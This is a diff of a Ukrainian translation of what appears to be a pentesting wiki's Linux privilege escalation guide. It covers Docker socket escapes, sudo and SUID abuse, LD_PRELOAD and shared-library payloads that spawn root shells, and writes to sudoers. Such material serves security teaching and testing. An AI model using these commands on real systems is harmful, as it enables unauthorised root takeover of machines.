`ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -### Writable .socket files +### Записувані .socket файли -Якщо ви знайдете **доступний для запису** файл `.socket`, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor` і backdoor буде виконано перед створенням сокета. Тому **ймовірно доведеться почекати перезавантаження машини.**\ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Writable sockets +### Записувані sockets -Якщо ви **виявите будь-який сокет, доступний для запису** (_тут йдеться про Unix сокети, а не про конфігураційні файли `.socket`_), то **ви можете спілкуватися** з цим сокетом і, можливо, експлуатувати вразливість. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Перелік Unix сокетів +### Перерахування Unix Sockets ```bash netstat -a -p --unix ``` @@ -484,48 +505,48 @@ socket-command-injection.md ### HTTP sockets -Зверніть увагу, що може бути кілька **sockets listening for HTTP** requests (_не йдеться про .socket файли, а про файли, які виступають як unix sockets_). Перевірити це можна за допомогою: +Зверніть увагу, що можуть бути деякі **sockets, що прослуховують HTTP** запити (_Я не маю на увазі .socket files, а файли, що виступають як unix sockets_). Ви можете перевірити це за допомогою: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Якщо socket **відповідає на HTTP** запити, то ви можете **взаємодіяти** з ним і, можливо, **експлуатувати якусь вразливість**. +Якщо socket **відповідає на HTTP** запит, то ви можете **спілкуватися** з ним і, можливо, **exploit some vulnerability**. -### Docker socket, доступний для запису +### Docker socket доступний для запису -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. +Docker socket, який часто знаходиться за шляхом `/var/run/docker.sock`, є критичним файлом, який слід захистити. За замовчуванням він доступний для запису користувачеві `root` та членам групи `docker`. Наявність прав на запис цього socket може призвести до privilege escalation. Нижче наведено пояснення, як це можна зробити, а також альтернативні методи на випадок, якщо Docker CLI недоступний. #### **Privilege Escalation with Docker CLI** -Якщо у вас є права на запис до Docker socket, ви можете escalate privileges, використовуючи такі команди: +Якщо ви маєте права запису до Docker socket, ви можете escalate privileges за допомогою наведених нижче команд: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ці команди дозволяють запустити контейнер з доступом на рівні root до файлової системи хоста. +Ці команди дозволяють запустити контейнер з доступом root до файлової системи хоста. -#### **Using Docker API Directly** +#### **Використання Docker API безпосередньо** -У випадках, коли Docker CLI недоступний, Docker socket все ще можна маніпулювати через Docker API за допомогою команд `curl`. +У випадках, коли Docker CLI недоступний, Docker socket все одно можна використовувати через Docker API та команди `curl`. -1. **List Docker Images:** Отримайте список доступних образів. +1. **List Docker Images:** Отримати список доступних образів. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Надішліть запит на створення контейнера, який монтує кореневий каталог хост-системи. +2. **Create a Container:** Надішліть запит на створення контейнера, який монтує кореневий каталог системи хоста. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Запустіть щойно створений контейнер: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Використайте `socat` щоб встановити з'єднання з контейнером, що дозволяє виконувати команди всередині нього. +3. **Attach to the Container:** Підключіться до контейнера за допомогою `socat`, щоб встановити з’єднання та виконувати команди в його контексті. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,13 +556,14 @@ Connection: Upgrade Upgrade: tcp ``` -Після встановлення `socat`-з'єднання ви можете виконувати команди безпосередньо в контейнері з доступом root до файлової системи хоста. +Після встановлення з’єднання через `socat` ви можете виконувати команди безпосередньо в контейнері з доступом root до файлової системи хоста. -### Others +### Інше -Зверніть увагу, що якщо у вас є права на запис на docker socket, оскільки ви **inside the group `docker`**, у вас є [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Зауважте, що якщо у вас є права запису на docker socket через те, що ви **є у групі `docker`**, у вас є [**більше способів ескалації привілеїв**](interesting-groups-linux-pe/index.html#docker-group). Якщо [**docker API слухає на порту** ви також зможете його скомпрометувати](../../network-services-pentesting/2375-pentesting-docker.md#compromising). + +Перевірте **більше способів вийти з docker або зловживати ним для ескалації привілеїв** у: -Перегляньте **інші способи виходу з docker або його зловживання для підвищення привілеїв** в: {{#ref}} docker-security/ @@ -567,15 +589,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus — це складна система **inter-Process Communication (IPC) system**, що дозволяє застосункам ефективно взаємодіяти й обмінюватися даними. Розроблена для сучасної Linux-системи, вона пропонує надійну структуру для різних форм прикладної комунікації. +D-Bus — це розвинена **система міжпроцесної комунікації (IPC)**, яка дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної Linux-системи, вона пропонує надійну основу для різних форм взаємодії між додатками. -Система є універсальною, підтримуючи базовий IPC, який покращує обмін даними між процесами, нагадуючи **enhanced UNIX domain sockets**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безшовній інтеграції між компонентами системи. Наприклад, сигнал від демона Bluetooth про вхідний дзвінок може змусити програвач музики приглушити звук, покращуючи користувацький досвід. Додатково, D-Bus підтримує систему віддалених об’єктів, спрощуючи запити сервісів і виклики методів між застосунками, оптимізуючи процеси, які раніше були складними. +Система є універсальною: вона підтримує базовий IPC, що покращує обмін даними між процесами, нагадуючи розширені UNIX domain sockets. Крім того, вона допомагає транслювати події або сигнали, сприяючи безшовній інтеграції компонентів системи. Наприклад, сигнал від Bluetooth daemon про вхідний дзвінок може змусити програвач музики заглушити звук, покращуючи досвід користувача. Додатково, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити служб і виклики методів між додатками, оптимізуючи процеси, які раніше були складними. -D-Bus працює за моделлю **allow/deny model**, керуючи дозволами на повідомлення (виклики методів, відправлення сигналів тощо) на основі кумулятивного ефекту правил політики, що збігаються. Ці політики визначають взаємодії з шиною і потенційно можуть дозволяти privilege escalation через експлуатацію цих дозволів. +D-Bus працює за **моделлю allow/deny**, керуючи дозволами на повідомлення (виклики методів, відправлення сигналів тощо) на основі сумарного ефекту відповідних правил політики. Ці політики вказують, які взаємодії дозволені з шиною, і потенційно можуть призвести до privilege escalation через експлуатацію цих дозволів. -Наведено приклад такої політики у `/etc/dbus-1/system.d/wpa_supplicant.conf`, який деталізує дозволи користувача root щодо володіння, надсилання та отримання повідомлень від `fi.w1.wpa_supplicant1`. +Наведено приклад такої політики в `/etc/dbus-1/system.d/wpa_supplicant.conf`, що деталізує дозволи для користувача root на володіння, надсилання та отримання повідомлень від `fi.w1.wpa_supplicant1`. -Політики без зазначеного користувача чи групи застосовуються універсально, тоді як політики з контекстом "default" застосовуються до всіх, хто не охоплений іншими специфічними політиками. +Політики без вказаного користувача або групи застосовуються універсально, тоді як політики контексту "default" застосовуються до всіх, не охоплених іншими конкретними політиками. ```xml @@ -584,7 +606,7 @@ D-Bus працює за моделлю **allow/deny model**, керуючи до ``` -**Дізнайтеся, як перераховувати та експлуатувати D-Bus-комунікацію тут:** +**Дізнайтеся, як enumerate та exploit D-Bus communication тут:** {{#ref}} @@ -593,9 +615,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Мережа** -Завжди цікаво досліджувати мережу й визначати розташування машини. +Завжди цікаво enumerate мережу та визначити положення машини. -### Generic enumeration +### Загальна enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -620,22 +642,22 @@ lsof -i ``` ### Відкриті порти -Завжди перевіряйте мережеві сервіси, що працюють на машині, з якими ви не могли взаємодіяти до отримання доступу: +Завжди перевіряйте мережеві сервіси, що працюють на машині, з якими ви не могли взаємодіяти перед тим, як отримати до неї доступ: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Перевірте, чи можете sniff traffic. Якщо так, ви зможете отримати деякі credentials. +Перевірте, чи можете sniff traffic. Якщо так, ви зможете отримати деякі облікові дані. ``` timeout 1 tcpdump ``` ## Користувачі -### Загальна перевірка +### Загальна інвентаризація -Перевірте, **who** ви, які **privileges** у вас є, які **users** є в системі, хто може **login** і хто має **root privileges**: +Перевірте, **хто** ви, які **привілеї** у вас є, які **користувачі** є в системі, хто може **login** і які мають **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -657,14 +679,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Великий UID +### Big UID -Деякі версії Linux постраждали від бага, який дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Детальніше: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) та [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Експлуатувати** за допомогою: **`systemd-run -t /bin/bash`** +Деякі версії Linux постраждали від бага, який дозволяє користувачам з **UID > INT_MAX** підвищувати привілеї. Більше інформації: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Експлуатувати його можна за допомогою: **`systemd-run -t /bin/bash`** ### Групи -Перевірте, чи ви є **членом якоїсь групи**, яка може надати вам права root: +Перевірте, чи є ви **членом якоїсь групи**, яка могла б надати вам root privileges: {{#ref}} @@ -673,7 +695,7 @@ interesting-groups-linux-pe/ ### Буфер обміну -Перевірте, чи містить буфер обміну щось цікаве (якщо можливо) +Перевірте, чи знаходиться в буфері обміну щось цікаве (якщо можливо) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -688,29 +710,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Відомі паролі +### Known passwords -Якщо ви **знаєте будь-який пароль** середовища — **спробуйте увійти як кожен користувач**, використовуючи цей пароль. +Якщо ви **знаєте будь-який пароль** середовища, **спробуйте увійти під кожного користувача**, використавши цей пароль. ### Su Brute -Якщо вас не бентежить велика кількість шуму і двійкові файли `su` та `timeout` присутні на комп'ютері, ви можете спробувати brute-force користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +Якщо вам не важливо створювати багато шуму і на комп'ютері присутні бінарні файли `su` та `timeout`, ви можете спробувати brute-force користувача за допомогою [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) з параметром `-a` також намагається brute-force користувачів. -## Зловживання доступним для запису $PATH +## Writable PATH abuses ### $PATH -Якщо ви виявите, що можете **записувати в якусь папку з $PATH**, ви можете підвищити привілеї, **створивши backdoor всередині записуваної папки** з іменем якоїсь команди, яка буде виконуватися іншим користувачем (ідеально — root) і яка **не завантажується з папки, що знаходиться перед вашою записуваною папкою в $PATH**. +Якщо ви виявите, що можете **записувати в якийсь каталог із $PATH**, ви можете підвищити привілеї, **створивши backdoor у записуваному каталозі** з ім'ям якоїсь команди, яка буде виконана іншим користувачем (ідеально — root) і яка **не завантажується з каталогу, що розташований перед** вашим записуваним каталогом у $PATH. ### SUDO and SUID -Вам може бути дозволено виконувати певну команду через sudo або вона може мати suid біт. Перевірте це за допомогою: +Вам може бути дозволено виконувати певну команду за допомогою sudo або вона може мати suid bit. Перевірте це за допомогою: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Деякі **неочікувані команди дозволяють читати і/або записувати файли або навіть виконувати команду.** Наприклад: +Деякі **неочікувані команди дозволяють читати та/або записувати файли або навіть виконувати команду.** Наприклад: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -721,31 +743,31 @@ less>! ``` ### NOPASSWD -Sudo конфігурація може дозволити користувачеві виконати певну команду з привілеями іншого користувача, не знаючи пароля. +Конфігурація sudo може дозволити користувачу виконувати певну команду з привілеями іншого користувача без знання пароля. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -У цьому прикладі користувач `demo` може запускати `vim` як `root`; тепер тривіально отримати shell, додавши ssh key у root directory або викликавши `sh`. +У цьому прикладі користувач `demo` може запускати `vim` як `root`, тепер тривіально отримати shell, додавши ssh key у каталог `root` або викликавши `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ця директива дозволяє користувачу **встановити змінну середовища** під час виконання команди: +Ця директива дозволяє користувачу **встановити змінну середовища** під час виконання чогось: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Цей приклад, **на основі HTB machine Admirer**, був **вразливий** до **PYTHONPATH hijacking**, що дозволяло завантажити довільну python бібліотеку під час виконання скрипта від імені root: +Цей приклад, **based on HTB machine Admirer**, був **vulnerable** до **PYTHONPATH hijacking**, що дозволяло завантажити довільну python бібліотеку під час виконання скрипта як root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Обхід шляхів виконання Sudo +### Sudo execution bypassing paths -**Перейдіть**, щоб прочитати інші файли або використайте **symlinks**. Наприклад у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** щоб прочитати інші файли або використовувати **symlinks**. Наприклад, у sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -762,43 +784,43 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Контрзаходи**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary без шляху до команди +### Sudo command/SUID binary без вказівки шляху до команди -Якщо **sudo permission** надається для однієї команди **без вказання шляху**: _hacker10 ALL= (root) less_ — ви можете експлуатувати це, змінивши змінну PATH +Якщо **дозвіл sudo** надається для однієї команди **без вказівки шляху**: _hacker10 ALL= (root) less_, ви можете скористатися цим, змінивши змінну PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Цю техніку також можна використовувати, якщо бінарний файл **suid** **виконує іншу команду без вказання шляху до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінарного файлу)**. +Цю техніку також можна використовувати, якщо **suid** бінарний файл **виконує іншу команду без вказання шляху до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінарного файлу)**). [Payload examples to execute.](payloads-to-execute.md) ### SUID бінарний файл з вказаним шляхом команди -Якщо бінарний файл **suid** **виконує іншу команду з вказаним шляхом**, тоді ви можете спробувати **export a function** з іменем тієї команди, яку викликає suid файл. +Якщо **suid** бінарний файл **виконує іншу команду з вказаним шляхом**, тоді можна спробувати **експортувати функцію**, названу так само, як команда, яку викликає suid файл. -Наприклад, якщо suid бінарний файл викликає _**/usr/sbin/service apache2 start**_ ви маєте спробувати створити функцію і експортувати її: +Наприклад, якщо suid бінарний файл викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію та експортувати її: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Тоді, коли ви викликаєте suid binary, ця функція буде виконана +Тоді, коли ви викликаєте suid бінарний файл, ця функція буде виконана ### LD_PRELOAD & **LD_LIBRARY_PATH** -Змінна оточення **LD_PRELOAD** використовується для вказування однієї або кількох спільних бібліотек (.so files), які мають бути завантажені завантажувачем перед усіма іншими, включно зі стандартною C бібліотекою (`libc.so`). Цей процес називається попереднім завантаженням бібліотеки. +Змінна середовища **LD_PRELOAD** використовується для вказівки однієї чи кількох спільних бібліотек (.so файлів), які завантажуються завантажувачем перед усіма іншими, включаючи стандартну C бібліотеку (`libc.so`). Цей процес відомий як попереднє завантаження бібліотеки. -Однак, щоб підтримувати безпеку системи і запобігти використанню цієї можливості, особливо щодо виконуваних файлів **suid/sgid**, система накладає певні обмеження: +Однак, щоб підтримувати безпеку системи і запобігати використанню цієї можливості в зловмисних цілях, особливо для виконуваних файлів з **suid/sgid**, система застосовує певні умови: - Завантажувач ігнорує **LD_PRELOAD** для виконуваних файлів, де реальний ідентифікатор користувача (_ruid_) не збігається з ефективним ідентифікатором користувача (_euid_). -- Для виконуваних файлів з **suid/sgid** попередньо завантажуються лише бібліотеки у стандартних шляхах, які також мають **suid/sgid**. +- Для виконуваних файлів зі suid/sgid попередньо завантажуються лише бібліотеки зі стандартних шляхів, які також мають suid/sgid. -Ескалація привілеїв може статися, якщо ви маєте можливість виконувати команди з `sudo` і вивід `sudo -l` містить рядок **env_keep+=LD_PRELOAD**. Така конфігурація дозволяє змінній оточення **LD_PRELOAD** зберігатися та розпізнаватися навіть коли команди виконуються через `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. +Підвищення привілеїв може відбутися, якщо ви маєте можливість виконувати команди з `sudo`, і вивід `sudo -l` містить рядок **env_keep+=LD_PRELOAD**. Така конфігурація дозволяє змінній середовища **LD_PRELOAD** зберігатися і бути розпізнаною навіть коли команди виконуються через `sudo`, що потенційно може призвести до виконання довільного коду з підвищеними привілеями. ``` Defaults env_keep += LD_PRELOAD ``` -Зберегти як **/tmp/pe.c** +Збережіть як **/tmp/pe.c** ```c #include #include @@ -811,17 +833,17 @@ setuid(0); system("/bin/bash"); } ``` -Потім **скомпілюйте його** за допомогою: +Потім **скомпілюйте це** за допомогою: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Нарешті, **escalate privileges** виконавши +Нарешті, **escalate privileges** під час виконання ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Подібний privesc може бути використаний, якщо attacker контролює **LD_LIBRARY_PATH** env variable, оскільки він контролює шлях, де будуть шукатися бібліотеки. +> Аналогічний privesc може бути зловмисно використаний, якщо зловмисник контролює **LD_LIBRARY_PATH** env variable, оскільки він контролює шлях, у якому будуть шукатися бібліотеки. ```c #include #include @@ -843,13 +865,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Коли натрапляєте на бінарник з правами **SUID**, що виглядає підозріло, корисно перевірити, чи він правильно завантажує файли **.so**. Це можна перевірити, виконавши наступну команду: +При виявленні бінарного файлу з правами **SUID**, який виглядає підозріло, доцільно перевірити, чи він правильно завантажує **.so** файли. Це можна перевірити, виконавши наступну команду: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Наприклад, поява помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенційну можливість експлуатації. +Наприклад, натрапивши на помилку на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенційну можливість експлуатації. -Щоб експлуатувати це, потрібно створити C-файл, наприклад _"/path/to/.config/libcalc.c"_, який містить наступний код: +Щоб здійснити exploit, потрібно створити C-файл, скажімо _"/path/to/.config/libcalc.c"_, що містить наступний код: ```c #include #include @@ -860,13 +882,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом зміни прав доступу до файлів і виконання shell із підвищеними привілеями. +Цей код, після компіляції та виконання, має на меті підвищити привілеї шляхом маніпулювання дозволами файлів та запуску shell з підвищеними правами. -Скомпілюйте наведений вище C file у shared object (.so) файл за допомогою: +Скомпілюйте вищезгаданий C-файл у shared object (.so) файл за допомогою: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Нарешті, запуск ураженого SUID бінарного файлу повинен спровокувати exploit, що може призвести до компрометації системи. +Нарешті, запуск ураженого SUID binary має спровокувати exploit, дозволяючи потенційне system compromise. ## Shared Object Hijacking ```bash @@ -878,7 +900,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Тепер, коли знайдено SUID binary, що завантажує library з папки, у яку ми маємо права запису, давайте створимо library у цій папці з необхідною назвою: +Тепер, коли ми знайшли SUID binary, який завантажує бібліотеку з папки, у яку ми можемо записувати, давайте створимо бібліотеку в цій папці з необхідною назвою: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -891,17 +913,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Якщо ви отримуєте помилку, наприклад +Якщо ви отримуєте помилку таку як ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -це означає, що згенерована вами бібліотека повинна містити функцію з назвою `a_function_name`. +це означає, що бібліотека, яку ви згенерували, повинна мати функцію з назвою `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) — це курований список Unix-байнів, які можуть бути використані нападником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — те саме, але для випадків, коли ви можете **лише інжектувати аргументи** в команду. +[**GTFOBins**](https://gtfobins.github.io) — це курована добірка Unix бінарів, які можуть бути використані нападником для обходу локальних обмежень безпеки. [**GTFOArgs**](https://gtfoargs.github.io/) — аналогічний проєкт, але для випадків, коли ви можете **лише вставляти аргументи** в команду. -Проєкт збирає легітимні функції Unix-байнів, які можна зловживати для виходу з обмежених shells, підвищення або підтримки привілеїв, передачі файлів, створення bind та reverse shells і полегшення інших post-exploitation завдань. +Проєкт збирає легітимні можливості Unix бінарів, які можуть бути використані для виходу з обмежених shell, ескалації або підтримання підвищених привілеїв, передачі файлів, створення bind і reverse shells та полегшення інших post-exploitation завдань. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -920,50 +942,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -Якщо ви маєте доступ до `sudo -l`, ви можете використовувати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) щоб перевірити, чи він знаходить спосіб експлуатації будь-якого правила sudo. +Якщо ви маєте доступ до `sudo -l`, ви можете використати інструмент [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo), щоб перевірити, чи він знаходить спосіб експлуатувати будь-яке правило sudo. -### Reusing Sudo Tokens +### Повторне використання sudo токенів -У випадках, коли у вас є **sudo access**, але немає пароля, ви можете підняти привілеї, **чекаючи виконання команди sudo і перехопивши session token**. +У випадках, коли у вас є **sudo доступ**, але немає пароля, ви можете ескалувати привілеї, **чекаючи виконання команди sudo і потім перехопивши токен сесії**. -Вимоги для підвищення привілеїв: +Вимоги для ескалації привілеїв: -- Ви вже маєте shell як користувач "_sampleuser_" -- "_sampleuser_" використовував **`sudo`** для виконання чогось в **останні 15 хвилин** (за замовчуванням це тривалість sudo token, яка дозволяє використовувати `sudo` без введення пароля) -- `cat /proc/sys/kernel/yama/ptrace_scope` дорівнює 0 +- Ви вже маєте shell як користувач `_sampleuser_` +- `_sampleuser_` використав **`sudo`** для виконання чогось за **останні 15 хвилин** (за замовчуванням це тривалість sudo токену, що дозволяє використовувати `sudo` без введення пароля) +- `cat /proc/sys/kernel/yama/ptrace_scope` має значення 0 - `gdb` доступний (ви можете завантажити його) -(Ви можете тимчасово ввімкнути `ptrace_scope` за допомогою `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або постійно змінивши `/etc/sysctl.d/10-ptrace.conf` і встановивши `kernel.yama.ptrace_scope = 0`) +(Ви можете тимчасово увімкнути `ptrace_scope` за допомогою `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` або постійно змінити `/etc/sysctl.d/10-ptrace.conf` і встановити `kernel.yama.ptrace_scope = 0`) -Якщо всі ці вимоги виконані, **ви можете підвищити привілеї, використовуючи:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Якщо всі ці вимоги виконані, **ви можете ескалувати привілеї, використавши:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Перший **exploit** (`exploit.sh`) створить бінар `activate_sudo_token` в _/tmp_. Ви можете використати його, щоб **активувати sudo token у вашій сесії** (ви не отримаєте автоматично root shell, виконайте `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Другий **експлойт** (`exploit_v2.sh`) створить sh shell у _/tmp_ **що належить root та має setuid** +- **другий exploit** (`exploit_v2.sh`) створить sh shell у _/tmp_ **який належить root і має setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **третій exploit** (`exploit_v3.sh`) створить **sudoers file**, який робить **sudo tokens** вічними і дозволяє всім користувачам використовувати **sudo** +- **третій exploit** (`exploit_v3.sh`) **створить sudoers file**, що робить **sudo tokens вічними і дозволяє всім користувачам використовувати sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Якщо у вас є **права на запис** у папці або на будь-який зі створених у ній файлів, ви можете скористатися бінарним файлом [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) щоб **створити sudo token для user та PID**.\ -Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і у вас є shell під тим user з PID 1234, ви можете **отримати sudo привілеї** без необхідності знати пароль, виконавши: +Якщо у вас є **права на запис** у цій папці або на будь-якому зі створених у ній файлів, ви можете використати бінарник [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) щоб **створити sudo token для користувача та PID**.\ +Наприклад, якщо ви можете перезаписати файл _/var/run/sudo/ts/sampleuser_ і маєте shell під цим користувачем з PID 1234, ви можете **отримати sudo privileges** без необхідності знати password, виконавши: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d Файл `/etc/sudoers` та файли всередині `/etc/sudoers.d` налаштовують, хто може використовувати `sudo` і як. Ці файли **за замовчуванням можуть читатися лише користувачем root та групою root**.\ -**Якщо** ви можете **прочитати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл — ви зможете **escalate privileges**. +**Якщо** ви можете **прочитати** цей файл, ви зможете **отримати деяку цікаву інформацію**, а якщо ви можете **записати** будь-який файл, ви зможете **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -973,7 +995,7 @@ ls -ld /etc/sudoers.d/ echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Ще один спосіб зловживати цими дозволами: +Інший спосіб зловживати цими дозволами: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -982,17 +1004,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Існують альтернативи бінарному файлу `sudo`, такі як `doas` для OpenBSD; не забудьте перевірити його конфігурацію в `/etc/doas.conf` +Є декілька альтернатив бінарному файлу `sudo`, такі як `doas` для OpenBSD, не забудьте перевірити його конфігурацію в `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Якщо ви знаєте, що **користувач зазвичай підключається до машини і використовує `sudo`** для підвищення привілеїв і ви отримали shell у контексті цього користувача, ви можете **створити новий sudo executable**, який виконає ваш код від імені root, а потім команду користувача. Потім **змініть $PATH** у контексті користувача (наприклад, додавши 